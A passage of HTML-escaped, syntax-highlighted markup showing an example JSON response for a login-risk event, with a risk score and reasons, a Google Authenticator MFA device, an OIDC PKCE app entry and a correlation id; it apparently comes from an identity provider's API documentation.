&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;country_code&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;TW&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;risk&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;score&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 30&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;reasons&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Infrequent access from 120.118.218.225&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Infrequent access from Kaohsiung City, Kaohsiung, Taiwan&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Infrequent access from Taiwan&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Infrequent access using Chrome on Windows&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Low trust for session&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;mfa_devices&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;auth_factor_id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;device_id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;user_display_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Google Authenticator&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;type_display_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Google Authenticator&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;auth_factor_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Google Authenticator&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;default&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;last_used_at&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;2020-10-20T12:33:24.266Z&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;created_at&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;2020-03-02T14:53:00.445Z&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  ]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;app&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;id: 959314,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;u&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;u&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;O&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;I&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;D&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;C&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt; P&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;K&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;C&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;E&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  },  &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;l&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span 